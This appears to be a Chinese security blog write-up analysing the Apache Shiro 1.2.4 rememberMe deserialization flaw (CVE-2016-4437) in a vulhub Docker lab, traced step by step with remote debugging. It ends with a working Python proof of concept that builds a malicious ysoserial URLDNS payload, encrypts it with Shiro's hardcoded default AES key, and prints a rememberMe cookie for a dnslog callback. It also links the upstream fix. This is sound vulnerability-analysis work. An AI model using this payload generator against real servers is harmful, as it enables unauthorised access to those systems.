前言
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在它编号为550 的issue(CVE-2016-4437)中爆出严重的Java反序列化漏洞。
如上所述,在Apache Shiro<=1.2.4
版本中,Cookie值会首先base64解码,然后AES解密,最后反序列化。
但AES默认加密密钥是硬编码在代码中的,因此任何人可以创建一个恶意对象,然后对其进行序列化、加密和编码,将结果通过Cookie中的RememberMe
发送给服务端,让其执行我们的恶意代码。
漏洞环境搭建
这里采用vulhub上的环境来搭建:https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437
docker pull vulhub/shiro:1.2.4
docker run -it -d --rm --name shiro550 -p 8000:8080 vulhub/shiro:1.2.4
访问8000端口,出现如下界面说明docker里面的环境启动成功
使用利用工具,可成功执行命令
远程调试准备
即便是远程调试,本地也需要一份相同的代码
我们需要先把代码搞到本地,查看当前容器启动的命令
docker ps --no-trunc
可以看到使用的是一个jar包启动环境,复制到本地
docker cp shiro550:/shirodemo-1.0-SNAPSHOT.jar ./
因为本地也需要一份相同的代码,尝试直接新建一个项目,将jar文件当作依赖引入到IDEA中,发现IDEA可以直接将classes
目录下的文件还原成代码,但lib
目录下还有一些jar,这些jar因为不是当成依赖引入到项目中的,所以看不到代码,也就无法调试
解压shirodemo-1.0-SNAPSHOT.jar
到项目根目录,然后右键lib目录选择Add as Library
将这些jar全部添加到依赖中
添加后就可以看这个jar的代码了,也就可以调试了
最后还需要将要调试的class文件夹添加到依赖关系中,这里就是BOOT-INF
目录下的所有文件,不添加的话在class文件中下断点是无法拦截的。
- 没加依赖,断点走不到那去,它不知道应该走哪里
- 加了依赖,就知道你用的哪一个,断点就直接去那了
这个时候本地代码准备就完成了,总结一下主要是3步:
- 获取jar文件到本地,将其作为依赖引入
- 给这个jar文件所需要的依赖也添加到本地依赖中
- 给需要调试的class文件夹添加到
Dependencies
中
然后就是远程调试部分,参考使用 IntelliJ IDEA 在 Docker 中调试 Java 应用程序,主要是以debug模式启用服务端,添加的jar启动命令参数如下
# jdk<=1.7
-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
# jdk>1.7
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
# - transport:监听Socket端口连接方式(也可以dt_shmem共享内存方式,但限于windows机器,并且服务提供端和调试端只能位于同一台机)
# - server:=y表示当前是调试服务端,=n表示当前是调试客户端
# - suspend:=n表示启动时不中断(如果启动时中断,一般用于调试启动不了的问题)
# - address:=5005表示本地监听5005端口(默认5005)
这里java版本为jdk1.8,所以新的docker容器启动命令
docker run -it -d --rm --name shiro550 -p 127.0.0.1:8000:8080 -p 127.0.0.1:5005:5005 vulhub/shiro:1.2.4 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar
然后在IDEA中添加一个remote即可
点击Debug
,显示Connected to the target VM, address: 'localhost:5005', transport: 'socket'
说明成功
登陆处下个断点,有绿色的小勾说明下断点成功
然后去页面上登陆
成功
开始调试
根据最开始的描述,漏洞触发主要有步
- 传入Cookie rememberMe
- BASE64解码
- AES解码
- 反序列化
根据漏洞描述,shiro使用的CookieRememberMeManager
存在问题,定位到对应的路径就是org.apache.shiro.web.mgt.CookieRememberMeManager
我们看下这个类,明显的Cookie相关操作,因为漏洞的入口点是传入的cookie,这里我们就从获取到Cookie开始调试分析,即在getCookie
处下断点
向服务端发送payload
此时服务端获取cookie调用getCookie
函数到达我们的断点处
F8,可以看到这里将我们传入的cookie值赋值到了参数base64
上
继续跟,首先判断内容是不是deleteMe,这里明显不是,然后会通过函数ensurePadding
进行base64填充,然后会通过base64解码,赋值给byte[] decoded
,最后返回decoded
返回的内容会赋值给byte[] bytes
,也就是说现在的变量bytes
就是存放的base64解码后的cookie
继续跟进,发现会调用convertBytesToPrincipals
函数,将bytes
作为参数传入进去,如果加密服务存在,就通过this.decrypt()
函数对bytes
进行解密;
加密服务存在,看下加密服务信息,发现使用的就是AES的CBC模式加密,填充模式为PKCS5Padding
跟进decrypt
函数,发现其通过函数this.getDecryptionCipherKey()
来获取解密密钥
跟进,不难看出,this.decryptionCipherKey
就是默认keykPH+bIxk5D2deZiIxcaaaA==
的base64解码的值,也就是密钥
返回密钥后进入解密函数cipherService.decrypt
大家都知道AES解密除了密钥还需要一个偏移量IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到IV,字节是16个0,翻译过来就是' '*16
最后的结果serialized
就是我们传入的恶意序列化数据
回到convertBytesToPrincipals
,解密后获取到的数据即为serialized
,也就是我们的恶意序列化数据,然后调用this.deserialize
进行反序列化
反序列化调用readObject()
位置
POC编写
根据刚才的分析,shiro在获取到cookie后会进行 base64解码—>AES解密(CBC模式,PKCS5Padding,默认密钥为kPH+bIxk5D2deZiIxcaaaA==
)—>反序列化,所以我们构造的POC只需要反着来即可,即 恶意的序列化数据 --> AES加密 --> base64编码
,使用ULRLDNS链来进行验证
POC如下:
#!/usr/bin/env python
import base64
import subprocess
from Crypto.Cipher import AES
def rememberme(dnslog):
popen = subprocess.check_output(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', dnslog])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = rememberme('http://fzv4lc.dnslog.cn')
print("rememberMe={}".format(payload.decode()))
漏洞修复
https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848
删除硬编码,生成随机key
总结
分析过程
总体来说分析起来还是很简单,简化一下就是
- 首先在
CookieRememberMeManager.getRememberedSerializedIdentity
中进行base64解码
- 然后调用
AbstractRememberMeManager.convertBytesToPrincipals
,其中包含了AES解密和反序列化
几种常见的远程调试的方法
- JAR
jdk<=1.7
java -Xdebug -Xrunjdwp:server=y,transport=dt_socket,address=8000,suspend=n -jar
jdk>1.7
java -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n -jar
- Tomcat
catalina.sh 中添加
JPDA_TRANSPORT=dt_socket
JPDA_ADDRESS=5005
JPAD_SUSPEND=n
或
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,server=y"
- Weblogic
在 Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
中添加
debugFlag="true"
export debugFlag